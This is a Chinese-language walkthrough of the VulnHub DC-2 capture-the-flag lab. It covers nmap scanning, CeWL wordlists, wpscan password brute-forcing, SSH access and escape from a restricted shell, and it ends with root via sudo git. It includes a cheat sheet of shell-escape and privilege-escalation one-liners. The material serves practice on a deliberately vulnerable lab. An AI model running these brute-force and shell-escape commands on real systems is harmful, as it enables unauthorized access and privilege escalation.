vulnhub靶场记录DC-2

靶场描述

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

As with the original DC-1, it's designed with beginners in mind.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Just like with DC-1, there are five flags including the final flag.

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.

In short, the only flag that really counts, is the final flag.

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.

I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

渗透靶场

一.信息搜集

由于靶场还是设置的是NAT模式 和我们的渗透机共享ip 我们直接查看渗透机ip 在使用nmap扫靶机ip

ifconfig
nmap 192.168.160.0/24

image-20231121213511709

可以看到靶场ip是192.168.160.152

在扫一波信息

nmap -A -p- -v 192.168.160.152

image-20231121213618660

开放了80端口的网站 存在web服务 使用Apache/2.4.10 但是不能重定向到http://dc-2/ 
开放了7744端口 存在ssh服务 OpenSSH版本6.7p1

二、修改hosts文件 进行重定向

将扫到的http://dc-2的域名和靶机ip添加到攻击机的hosts文件中

image-20231122094333049

访问站点 成功 是个wordpress模版搭建的网站

image-20231122094355470

三、flag1

在站点处找到flag1

image-20231122094449035

flag1
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

四、flag2

使用cewl生成密码字典

flag1提示我们使用cewl来生成不同于我们常用的字典 由此来爆破网站后台登陆密码

先学习一波cewl的姿势

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

下面是cewl的一些命令参数

语法:cewl [url] [options]

常规参数选项:

-h, –help:显示帮助。

-k, –keep:保存下载文件。

-d <x>, –depth <x>:爬行深度,默认2。

-m, –min_world_length:最小长度,默认最小长度为3。

-o, –offsite:允许爬虫访问其他站点。

-w, –write:将输出结果写入到文件。

-u, –ua <agent>:设置user agent。

-n, –no-words:不输出字典。

–with-numbers:允许单词中存在数字,跟字母一样。

-a, –meta:包括元数据。

–meta_file file:输出元数据文件。

-e, –email:包括email地址。

–email_file <file>:输入邮件地址文件。

–meta-temp-dir <dir>:exiftool解析文件时使用的临时目录,默认是/temp。

-c, –count:显示发现的每个单词的数量。

-v, –verbose:verbose。

–debug:提取调试信息。

认证

–auth_type:Digest或者basic认证。

–auth_user:用户名认证。

–auth_pass:密码认证。

代理

–proxy_host:代理主机。

–proxy_port:代理端口,默认8080。

–proxy_username:用户名代理。

–proxy_password:密码代理。

下面是具体的一些用法 就直接以我们这个目标靶机为例了

默认方法:

cewl http://dc-2/

cewl对站点进行爬虫 生成了一系列密码 并输出在屏幕上

image-20231122101042575

保存字典文件

cewl http://dc-2/ -w ~/桌面/dict.txt    

使用w参数 可以将生成的密码字典进行保存

image-20231122101247740

生成特定长度的字典

cewl http://dc-2/ -m 9

可见 cewl对目标网站进行了爬取 并生成了长度至少为9的密码

image-20231122102350330

从网站中获取email

cewl http://dc-2/ -e -n
使用-n隐藏生成的密码字典 

计算网站字典中重复单词的数量

cewl http://dc-2/ -c 

image-20231122103438726

增加爬取深度

cewl http://dc-2/ -d 3 

爬取深度默认为2 使用-d参数 可以选择合适的参数

提取调试信息

cewl http://dc-2/ --debug

可以查看网站爬取过程中出现的错误和元数据

image-20231122104302817

verbose模式

cewl http://dc-2/ -v

verbose模式可以列出网站的详细数据

image-20231122104758631

生成包含数字和字符的字典

cewl http://dc-2/ --with-numbers

绕过页面登陆限制

参数:
–auth_type:                      Digest or basic
–auth_user:                     Authentication username.
–auth_pass:                     Authentication password.
命令:
cewl http://localhost:81/DVWA/DVWA/login.php --auth_type basic --auth_user admin --auth_pass password -v
或
cewl http://localhost:81/DVWA/DVWA/login.php --auth_type Digest --auth_user admin --auth_pass password -v

代理URL

如果目标网站设置了代理服务器的话,Cewl将无法使用默认命令来生成字典。此时你需要使用–proxy option选项来启用代理URL功能:

cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/

使用wpscan进行爆破

那我们现在已经成功得到了密码字典 下一步就是找网站登陆用户 使用wpscan对网站进行扫描(wpscan是针对wordpress模版搭建的网站很常用的漏洞扫描工具)

在学习一波wpscan的姿势

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

下面是常见的命令参数

语法:wpscan --url [url] -options 
--url       	                    要扫描的目标url,允许的协议http、https,默认使用http协议
--help 	                            显示简单的帮助
--version                           显示WPScan的版本信息
-o 	                                输出文件到指定位置
-f 	                                指定文件输出的格式
--user-agent                        使用指定的ua头
--random-user-agent 	            使用随机UA头
--max-threads	                    最大线程数,默认最大线程为5
--proxy 	                        加载代理
--update	                        更新漏洞库
--force                             不检测目标是否在运行wordpress
--api-token      	                使用token用于显示漏洞信息
--wp-content DIR	                自定义指定检测内容
--cookie          	                指定cookie
vp             	                    结果中显示有漏洞的插件(插件漏洞扫描)
vt               	                结果中显示存在漏洞的主题(主题漏洞扫描)
at               	                结果中显示所有主题
ap                  	            结果中显示目标的所有插件
tt	                                列举缩略图相关的文件
--enumerate/-e	                    枚举  [option](要枚举的目标)
u       	                        枚举用户名
p	                                枚举插件(插件扫描)
t	                                枚举主题(主题扫描)

进行用户名、主题扫描、插件扫描、插件漏洞扫描、主题漏洞扫描的时候、TimThumbs文件扫描(缩略图相关文件)时 直接使用以下命令

wpscan --url http://dc-2/ -e u,t,t,vt,vp,tt

wpscan还可以进行爆破用户名和密码

wpscan --url http://dc-2/ --wordlist[字典文件] --username[要破解的用户] --threads[开启的线程数]
wpscan --url http://dc-2/ -P [密码字典] -U [用户字典]

下面我们就用wpscan对站点进行扫描 flag1提示我们要爆破用户名和密码 登录之后来找到后面的flag 我们前面用cewl得到了密码字典 在使用wpscan扫一下用户名

wpscan --url http://dc-2/ -e u

扫到三个用户名

image-20231122114815466

下面创建一个用户名字典 进行爆破

wpscan --url http://dc-2/ -P dict.txt -U user.txt

找到了jerry和tom两个用户的密码

jerry / adipiscing                                                                                           tom / parturient   

image-20231122115139193

尝试使用这两组用户密码登陆站点后台 一般来说 wp模版搭建的网站后台登陆页面在/wp-admin中

image-20231122115333428

两组任选其一都可以成功登陆

登陆jerry账号后 在page页找到了flag2

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

image-20231122130309492

但是登陆tom账号后 什么也没发现

五、flag3

ssh连接tom

flag2提示说 如果在wordpress中找不到突破 那就换个方式 在前期信息搜集的时候 我们扫到了开放了端口为7744的ssh服务

现在手上有jerry和tom的账号密码 也不用再用hydra爆破密码了 直接ssh连就完了

ssh jerry@192.168.160.152 -p 7744
ssh tom@192.168.160.152 -p 7744

发现jerry用户登不上去 tom用户可以登陆

image-20231122161711383

使用ls命令查看当前目录下的文件 找到flag3.txt 但是cat、cd等命令都无法执行 ls命令还可以执行

ls /home/tom/usr/bin # 查看一下tom账号拥有哪些命令权限

image-20231122163817548

发现less和vi命令都还可以执行 那就可以读取flag3.txt的内容

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

image-20231122163925464

六、flag4

我们现在连上的bash其实是rbash 是受限的bash

image-20231122164241125

下面来学习一些关于rbash的姿势

设置rbash

cp  /bin/bash  /bin/rbash # 复制一个bash 重命名为rbash
useradd -s /bin/rbash tom # 设置用户tom登陆的shell为rbash
mkdir -p /home/tom/.bin   # 在tom用户下新建一个.bin目录存放可以执行的命令
ln -s  /bin/clear  /home/$tom/.bin/clear  # 设置软链接执行命令
编辑文件/home/$tom/.bashrc,添加export PATH=$HOME/.bin/.  文件一定要以# .bashrc为首行.

绕过rbash

一、枚举linux环境

1.检查常见命令 
su cd ls cat等
2.检查可用的操作符 
< > << >> | / \等
3.root身份可以运行的命令
sudo -l
4.检查shell
echo $SHELL
5.检查可用的编程语言 
python php ruby perl 
6.检查环境变量 
执行 env/printenv

二、绕过方式

  1. /字符被允许使用

    直接执行

    /bin/bash
    

    2.cp命令允许执行

    cp /bin/bash test1
    cp /bin/sh test2
    ./test1  # 切换到了/bin/bash
    ./test2  # 切换到了/bin/bash
    

    3.常见应用

    ftp/gdb(调试程序的工具)

    ftp > !/bin/sh
    gdb > !/bin/sh
    

    image-20231122170643581

image-20231122170747090

man/git

man > !/bin/sh
git > git help status

vim/vi

vim/vi test
:!/bin/sh

image-20231122171602341

image-20231122171612178

more/less

more test
!/bin/sh

image-20231122172043030

image-20231122172023168

4.set shell

# vim/vi创建一个文件 进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
 
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

5.更改PATH或SHELL环境变量

BASH_CMDS[a]=/bin/sh;a  注:把/bin/bash给a变量`
export PATH=$PATH:/bin/    注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin   注:将/usr/bin作为PATH环境变量导出

6.编程语言

(1)python

python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"

(2)php

php -a then exec("sh -i")

(3)perl

perl -e "exec '/bin/sh';"

(4)lua

os.execute('/bin/sh')

(5)ruby

exec "/bin/sh"

7.其他方法

ssh

ssh username@IP -t "/bin/sh" or "/bin/bash"

ssh(2)

ssh username@IP -t "bash --noprofile"

ssh(3)

ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)

ssh(4)

ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

awk(超级玛丽靶机使用它成功了)

awk 'BEGIN {system("/bin/bash")}' 

现在绕过rbash的方法基本上就是这些了 现在开始在攻击机中绕过tom账户的rbash权限

首先,信息搜集 由flag3的部分 我们知道目前可以使用的只有ls vim less scp这些命令可以使用

在这里 我们使用第4种方法 set shell

vi
:set shell=/bin/sh
:shell
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

image-20231122191437884

成功绕过rbash

在flag3中还提示我们用su来切换用户 现在我们找一下jerry用户 进入jerry 在目录下找到flag4

image-20231122191628316

flag4
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

七、thefinalflag

git提权

flag4告诉我们还有最后一个flag 提到git 可能是让我们使用git进行提权

首先查看一下jerry用户可以使用的root命令有哪些

sudo -l

image-20231122193526092

发现可以无密码使用git命令 正好切合了提示中的git

sudo git help config
!/bin/sh

image-20231122194706813

成功提权成功 进入root文件夹 找到final-flag.txt

image-20231122194905561

 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

总结

至此 全部flag都被找到